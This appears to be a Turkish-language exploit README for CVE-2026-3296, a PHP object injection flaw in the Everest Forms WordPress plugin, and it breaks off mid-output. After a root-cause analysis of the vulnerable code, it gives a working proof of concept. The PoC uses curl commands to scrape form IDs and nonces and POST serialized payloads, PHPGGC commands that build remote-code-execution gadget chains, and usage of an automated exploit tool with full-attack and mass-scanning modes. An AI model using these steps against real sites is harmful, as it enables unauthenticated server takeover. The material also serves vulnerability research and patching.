CVE-2026-3296
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin
Plugin: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
Plugin Slug: everest-forms
CVE ID: CVE-2026-3296
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Zafiyet Türü: Unauthenticated PHP Object Injection → RCE
Etkilenen Sürümler: <= 3.4.3
Yamalı Sürüm: 3.4.4
Yayın Tarihi: 7 Nisan 2026
Araştırmacı: 0xsabre — Mobikwik / Wordfence
📌 Zafiyet Hakkında
Everest Forms eklentisi, form girişi metadata'sını admin panelinde
görüntülerken PHP'nin native unserialize() fonksiyonunu
allowed_classes parametresi olmadan çağırır.
Kimliği doğrulanmamış bir saldırgan, herhangi bir public form alanına
serialized PHP object payload'ı gömerek bunu veritabanına kaydedebilir.
Admin panel üzerinden entry görüntülendiğinde unserialize() tetiklenir
ve ortamdaki herhangi bir POP gadget chain çalıştırılır.
🔍 Zafiyet Özeti
⚙️ Teknik Analiz
İki Fazlı Saldırı Modeli
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
Faz 1 — Enjeksiyon: Payload Depolama
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
Sanitizasyon Neden Yetersiz (evf-core-functions.php, line 4754)
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Bu payload sanitize_text_field() sonrası tamamen korunur:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
Ek Bug — Erken Return (line 4764)
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
Faz 2 — Tetikleme: Güvensiz Deserialization
Zafiyetli Kod (html-admin-page-entries-view.php, line 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
Güvenli Wrapper Var Ama Kullanılmıyor (evf-core-functions.php, line 5594)
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
Nonce Neden Koruma Sağlamıyor?
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce CSRF koruması sağlar, kimlik doğrulama değil.
Saldırgan form sayfasını GET ile açıp nonce'ı okur, ardından
POST ile payload gönderir.
🔴 Tam Saldırı Zinciri
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
🧪 Proof of Concept (Manuel)
⚠️ Disclaimer: This PoC is provided for educational and defensive
security research purposes only.
Ön Koşullar:
- Everest Forms <= 3.4.3 kurulu ve aktif
- Public erişilebilir form sayfası
- Admin paneline erişim (tetikleme için)
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
Adım 2 — Benign Test Payload Oluştur
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Gerçek ortam için PHPGGC ile POP chain üret:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
Adım 3 — Payload Enjekte Et
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Beklenen: Form başarı mesajı veya yönlendirme.
Adım 4 — Veritabanında Doğrula (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
Adım 5 — Admin Olarak Tetikle
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
Sayfa yüklendiğinde unserialize() çalışır.
Adım 6 — Gadget Chain Doğrulama (Test Ortamı)
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
🛠️ Otomatik Tarayıcı
Kurulum
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 Kullanım
Zafiyet Tespiti (Benign Payload)
python everest_forms_poi.py -u http://hedef.com --mode scan
Yalnızca Enjeksiyon (Faz 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
Tam Saldırı (Faz 1 + Faz 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
OOB Callback ile Tespit (Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
Toplu Tarama
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
Proxy ile (Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ Parametreler
Mod
| Mod | Açıklama |
|---|
scan | Benign payload enjekte et — zafiyet tespiti |
inject | Yalnızca Faz 1 — payload depola |
|
Genel Parametreler
Payload Seçenekleri
Admin Kimlik Bilgileri
| Parametre | Açıklama |
|---|
--admin-user | Admin kullanıcı adı |
--admin-pass | Admin şifresi |
💀 Payload Tipleri
💡 PHPGGC ile Gerçek Chain Üretimi:
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# Tüm mevcut chain'leri listele
phpggc -l
📊 Tarayıcı Çıktı Durumları
🖥️ Örnek Tarayıcı Çıktısı
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser